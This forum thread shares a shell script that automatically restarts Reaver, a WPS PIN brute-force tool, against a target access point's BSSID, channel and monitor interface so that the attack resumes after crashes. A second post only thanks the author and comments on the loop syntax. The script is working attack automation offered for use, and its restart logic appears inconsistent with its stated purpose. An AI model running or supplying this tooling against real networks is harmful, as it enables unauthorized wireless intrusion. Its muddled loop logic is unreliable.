Results 1 to 2 of 2

Thread: Reaver watchdog script

  1. #1
    Join Date
    2013-Oct
    Posts
    3

    Reaver watchdog script

    When using reaver I have run into a segmentation fault bug which crashes reaver.
    I put a script together to restart reaver if it has not yet recovered a PIN.

    Code:
    #!/bin/sh
    
    trap 'cleanup' 1 2 15
    
    display_help() {
    echo "
     Usage: $0 [options]
    
     OPTIONS:
    	-b        BSSID
    	-c        Target AP channel
    	-i        Monitor Interface 
    "
    }
    
    cleanup() {
    killall reaver
    exit 0
    }
    
    while getopts "b:c:i:" opt; do
       case $opt in
    	b ) bssid=$OPTARG >&2 ;;
    	c ) channel=$OPTARG >&2 ;;
    	i ) interface=$OPTARG >&2 ;;
    	\?) display_help >&2 ; exit 1 ;;
       esac
    done
    
    if [ "$#" -eq "0" ] || [ -z "$bssid" ] || [ -z "$channel" ] || [ -z "$interface" ]; then
    	display_help >&2
    	exit 1
    fi
    
    
    command=$(ifconfig -a | grep $interface | awk '{print $1}')
    if [ "$command" != "$interface" ]
    then
    	echo "interface not found"
    	exit 0
    fi
    
    ifconfig $interface up
    reaver -i $interface -c $channel -b $bssid -vv -o /tmp/reaver.log -D
    
    while :
       do
    	sleep 60
    	if [ -z "$(pidof reaver)" ]
    	then
    		command=$(tail /tmp/reaver.log | grep "WPS PIN")
    		if [ -n "$command" ]
    			then
    			session=$(echo $bssid | sed -e 's/://g')
    			reaver -i $interface -c $channel -b $bssid -vv -s /usr/local/etc/reaver/$session.wpc -o /tmp/reaver.log -D    	   
    		fi
    	else
    		break
    	fi
    done

  2. #2
    Thanks for the script
    while :
    do
    sleep 60
    I never saw "while :"
    If i understand well you are making a while loop that will never end because it has no condition and exit it by "break" when the "WPS PIN" is recovered
    I realy like this idea ( if i got it right ) that is faster then to search for a condition that feets to our purpose.
    Thanks for sharing

Similar Threads

  1. Replies: 3
    Last Post: 2017-10-07, 12:03

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •